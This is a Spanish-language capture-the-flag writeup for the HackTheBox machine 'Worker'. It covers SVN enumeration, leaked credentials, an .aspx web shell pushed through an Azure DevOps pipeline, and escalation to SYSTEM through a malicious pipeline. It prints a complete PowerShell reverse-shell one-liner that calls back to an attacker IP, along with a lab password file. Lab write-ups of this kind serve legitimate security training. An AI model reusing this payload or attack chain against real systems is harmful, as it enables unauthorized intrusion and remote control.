HackTheBox - Worker
Worker
Dificultad: Medium OS: Windows
En este writeup, voy a demostrar paso a paso como conseguir el root en la máquina Worker
Reconocimiento
Primero, aunque aparezca en el icono, es una buena práctica ver qué OS utiliza el objetivo. Para ello utilizaremos el comando ping -c 1 {IP} y viendo la ttl podemos saber contra qué nos enfrentamos de manera silenciosa (Linux:64 y Windows:128). En este vemos que es una máquina Windows.

Buscamos los puertos abiertos de la máquina
sudo nmap -p- -sS --min-rate 1000 --open -vvv -n -Pn 10.10.10.203
Hay tres puertos abiertos, el 80, 3690 y 5985.

Y ahora vamos a hacer un escaneo de los servicios
nmap -sC -sV -p80,3690,5985 10.10.10.203 -oN scan.nmap
Y encontramos información importante, como que utiliza svnserve

Intentamos ver los contenidos y funciona

Con checkout podemos descargar el repositorio

Si leemos moved.txt encontramos que la ultima versión del repositorio está hosteado en el dominio devops.worker.htb

Asi que añadimos dimension.worker.htb y devops.worker.htb a /etc/hosts para poder acceder

Al entrar a devops.worker.htb nos encontramos con un login, sin tener credenciales poco podemos hacer asi que miramos dimension.worker.htb

Podemos entrar a dimension.worker.htb, parece ser una página web hecha a traves de un template de HTML5 UP.

Buscando rápidamente encontramos en Work una serie de subdominios. Los añadimos a /etc/hosts pero no tienen nada interesante por donde tirar.

Volvemos a svn y miramos con log los cambios que ha habido a lo largo del tiempo.
Y hay que destacar el r2 “Added deployment script”, vamos a verlo

Entrando en el commit vemos que se ha borrado moved.txt y añadido deploy.ps1
❯ svn update -r 2
Updating '.':
D moved.txt
A deploy.ps1
Updated to revision 2.
Si leermos deploy.ps1 vemos unas credenciales “nathen:wendel98”

Ahora con estas credenciales podemos entrar a devops.worker.htb y nos encontramos con un proyecto llamado SmartHotel360

Si entramos en Repos podemos ver que tiene un repositorio por cada subdominio

Viendo que se pueden subir archivos me descargo una web shell .aspx

Pero al hacer el commit no deja subirlos a la rama master

Por lo que creamos una nueva rama y hacemos un commit ahí


El commit tiene que aprovarse pero por suerte tenemos permisos para ello

Ahora solo nos queda ejecutar en Pipelines Cartoon-CI en la rama HTB para que se priorice y podamos acceder a la web shell


Ahora tenemos una web shell con el usuario “iis appool\defaultappool”

Voy a crear una reverse shell de powershell
/c $client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


Vemos los usuarios Administrator y robisl, pero no podemos entrar en ninguno

Con net user podemos listar información de un usuario, y robisl tiene *Remote Management Use
Esto nos da indicio de que podemos usar Evil-WinRM. Pero no tenemos credenciales
PS C:\users> net user robisl
User name robisl
Full Name Robin Islip
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2020-04-05 21:27:26
Password expires Never
Password changeable 2020-04-05 21:27:26
Password required No
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2020-08-03 12:41:02
Logon hours allowed All
Local Group Memberships *Production *Remote Management Use
Global Group memberships *None
The command completed successfully.
Buscando en W:\ nos encontramos con un archivo llamado passwd con todos los usuarios y contraseñas, podemos verificar que es correcto ya que la primera la tenemos.
Gracias a esto tenemos ya credenciales para robisl
PS W:\svnrepos\www\conf> type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
Entramos con “robisl:wolves11” y solo tenemos que navegar al Dekstop del usuario para obtener su flag


Escalada de privilegios
Lo primero que vamos a probar es a ingresar con la nueva cuenta a la web para ver que permisos tiene.

La cuenta pertenece a Build Administrators, asi que tenemos permisos para crear nuevos Pipelines.


Miramos las pools que hay para poder ejecutar el pipeline malicioso

Procedemos a crear el pipeline para ejecutar comandos:
Pipelines > New pipeline > Azure Repos Git > PartsUnlimited > Starter pipeline
Primero hacemos un whoami para comprobar con qué usuario lo ejecuta


Una vez ejecutado el script, nos sale que se ejecuta como authority\system asi que ahora es fácil

Subimos un netcat pero en exe para poder hacer una reverse shell

Y lo llamos para ejecutarlo

Ahora tenemos una reverse como authority\system

Lo único que nos queda es moverlos al Desktop del Administrador y leer la flag.
